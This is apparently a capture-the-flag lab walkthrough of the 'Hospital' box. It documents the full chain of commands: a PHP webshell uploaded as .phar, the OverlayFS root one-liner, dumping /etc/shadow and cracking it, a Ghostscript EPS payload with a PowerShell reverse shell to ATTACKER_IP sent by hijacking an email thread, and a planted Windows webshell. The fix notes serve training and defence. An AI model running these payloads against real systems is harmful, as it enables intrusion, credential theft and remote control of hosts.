Hospital
Summary
I treated Hospital as two linked hosts sharing one scope: an Ubuntu web application on port 8080 and, separately, a Windows Active Directory domain controller exposing Roundcube webmail over HTTPS. Self-registration on the 8080 app led to a file-upload filter that only checked the extension, letting a PHP webshell disguised as a .phar file run as www-data. A known Linux kernel OverlayFS flaw then escalated that shell straight to root, and root-level access to the host's files and database yielded a domain user's credentials.
Those credentials worked on the completely separate Windows domain controller's Roundcube webmail, where an email thread was hijacked to deliver a Ghostscript exploit that executed code as a real domain user when the mail server auto-rendered the attachment. A second, writable web directory on that same Windows host was then used to plant a further command-execution webshell that reached the Administrator's files directly, completing full compromise of the domain controller.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <compose-id>, <cracked-password>, <csrf-token> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP port sweep and service/version detection.
$ nmap -p- -sV -sC $TARGETConfirm the Ubuntu-side PHP portal and its login/registration flow.
$ curl -ksS -L --max-time 15 -D - http://$TARGET:8080/Exact commands 4
Self-register a low-privilege application account.
$ curl -sS -i -c cookies.txt -b cookies.txt -X POST http://$TARGET:8080/register.php --data-urlencode username=pwn903 --data-urlencode password="$PASSWORD" --data-urlencode confirm_password="$PASSWORD"Authenticate to obtain a session cookie for the upload feature.
$ curl -sS -i -c cookies.txt -b cookies.txt -X POST http://$TARGET:8080/login.php --data-urlencode username=pwn903 --data-urlencode password="$PASSWORD"Upload a PHP webshell (<?php echo shell_exec($_REQUEST['cmd']); ?>) saved as .phar to slip past an extension-only filter; adjust the endpoint/field name to whatever the upload form actually uses.
$ curl -sS -i -c cookies.txt -b cookies.txt -F 'file=@shell.phar;type=application/octet-stream' http://$TARGET:8080/upload.phpTrigger the webshell; confirms RCE as www-data.
$ curl -sS -i "http://$TARGET:8080/uploads/popen903.phar?cmd=id"FixValidate uploaded file content, not just its extensionCritical
Exact commands 1
Verbatim GameOver(lay) one-liner run via the webshell's command parameter; confirms uid=0.
$ mkdir -p /tmp/game903 && cd /tmp/game903 && rm -rf l u w m && unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*" && u/python3 -c 'import os; os.setuid(0); os.system("id")'FixPatch the Linux kernel against the OverlayFS privilege-escalation bugCritical
Exact commands 2
As root, dump the app's DB config and the shadow file.
$ u/python3 -c 'import os; os.setuid(0); os.system("cat /var/www/html/config.php; cat /etc/shadow")'Crack the recovered sha512crypt hash to obtain drwilliams' cleartext password.
$ hashcat -m 1800 -a 0 drwilliams.hash /usr/share/wordlists/rockyou.txtFixStop storing plaintext service credentials and eliminate credential reuse across hostsHigh
Exact commands 2
Authenticate to Roundcube as drwilliams using the reused credential.
$ curl -ksS -c rc_cookies.txt -c rc_cookies.txt -d '_task=login&_action=login&_user=drwilliams&_pass=<cracked-password>' "https://$TARGET/?_task=login"List inbox messages and locate the mail from drbrown.
$ curl -ksS -b rc_cookies.txt "https://$TARGET/?_task=mail&_mbox=INBOX"Exact commands 3
Listener to catch the reverse shell before sending the payload.
$ nc -lvnp 4444Craft the CVE-2023-36664 EPS payload embedding a PowerShell reverse shell; substitute the listener IP.
$ printf '%%!PS-Adobe-3.0 EPSF-3.0\n(%%pipe%%powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient(\'$ATTACKER_IP\',4444);...") run\n' > payload.epsReply to drbrown's thread with the EPS attached; _token/_id come from the compose page returned when opening the reply.
$ curl -ksS -b rc_cookies.txt -X POST "https://$TARGET/?_task=mail&_action=send" -F '_to=drbrown@hospital.htb' -F '_subject=Re: Needle designs for Darius Simion.' -F '_token=<csrf-token>' -F '_id=<compose-id>' -F '_attachments[]=@payload.eps'FixPatch Ghostscript and disable EPS pipe-device execution in the mail pipelineCritical
Exact commands 4
Prepare a minimal PHP command-execution webshell.
$ echo '<?php echo shell_exec($_GET["c"]); ?>' > cmd903.phpFrom the drbrown shell, drop the webshell into the world-writable web root discovered on the host.
$ copy cmd903.php C:\xampp\htdocs\cmd903.phpConfirm the execution context before reading protected files.
$ curl -ksS "https://$TARGET/cmd903.php?c=whoami"Read the Administrator's flag; value replaced here with <root.txt>.
$ curl -ksS "https://$TARGET/cmd903.php?c=type%20C:%5CUsers%5CAdministrator%5CDesktop%5Croot.txt"FixRemove write access to the web server's document rootCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 443/tcp | ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28) |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 1801/tcp | unknown recon-sweep-discovered |
| 2103/tcp | unknown recon-sweep-discovered |
| 2105/tcp | unknown recon-sweep-discovered |
| 2107/tcp | unknown recon-sweep-discovered |
| 2179/tcp | unknown recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | winrm recon-sweep-discovered |
| 6027/tcp | unknown recon-sweep-discovered |
| 6404/tcp | unknown recon-sweep-discovered |
| 6406/tcp | unknown recon-sweep-discovered |
| 6407/tcp | unknown recon-sweep-discovered |
| 6409/tcp | unknown recon-sweep-discovered |
| 6613/tcp | unknown recon-sweep-discovered |
| 6633/tcp | unknown recon-sweep-discovered |
| 8080/tcp | http Apache httpd 2.4.55 ((Ubuntu)) |
| 9389/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |